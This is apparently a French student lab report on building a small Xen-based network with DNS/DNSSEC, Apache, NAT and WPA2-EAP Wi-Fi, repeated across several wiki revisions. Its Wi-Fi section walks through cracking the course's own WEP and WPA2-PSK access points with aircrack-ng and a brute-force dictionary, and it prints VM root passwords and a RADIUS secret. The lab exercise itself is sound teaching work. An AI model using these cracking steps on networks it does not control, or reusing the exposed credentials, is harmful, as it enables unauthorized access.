Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
conf t

aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface Dot11Radio0
ssid VM_SERVICES_5
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

Et ensuite sur le routeur :<syntaxhighlight lang="shell">
conf t

ip dhcp pool PoolCedric
network 10.60.5.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.5.254
exit

exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
interface Vlan15
description "VLAN personnel de Cedric PAYET (E5) - WPA2-EAP"
ip address 10.60.5.2 255.255.255.0
ipv6 address 2001:660:4401:60a5::2/64
vrrp 15 address-family ipv4
priority 110
address 10.60.5.1 primary
exit-vrrp
end

</syntaxhighlight><syntaxhighlight lang="shell">
conf t
vlan 15
name E5-Cedric
exit
exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
wifi-E306(config)#interface GigabitEthernet0.15
wifi-E306(config-subif)#encapsulation dot1Q 15
wifi-E306(config-subif)#bridge-group 15
wifi-E306(config-subif)#bridge-group 15 spanning-disabled
wifi-E306(config-subif)#no bridge-group 15 source-learning
wifi-E306(config-subif)#exit
wifi-E306(config)#exit

</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T16:48:37Z

Cpayet : /* Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
conf t

aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface Dot11Radio0
ssid VM_SERVICES_5
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

Et ensuite sur le routeur :<syntaxhighlight lang="shell">
conf t

ip dhcp pool PoolCedric
network 10.60.5.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.5.254
exit

exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
interface Vlan15
description "VLAN personnel de Cedric PAYET (E5) - WPA2-EAP"
ip address 10.60.5.2 255.255.255.0
ipv6 address 2001:660:4401:60a5::2/64
vrrp 15 address-family ipv4
priority 110
address 10.60.5.1 primary
exit-vrrp
end

</syntaxhighlight><syntaxhighlight lang="shell">
conf t
vlan 15
name E5-Cedric
exit
exit
write
</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T16:41:36Z

Cpayet : /* Compte rendu des commandes effectués */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
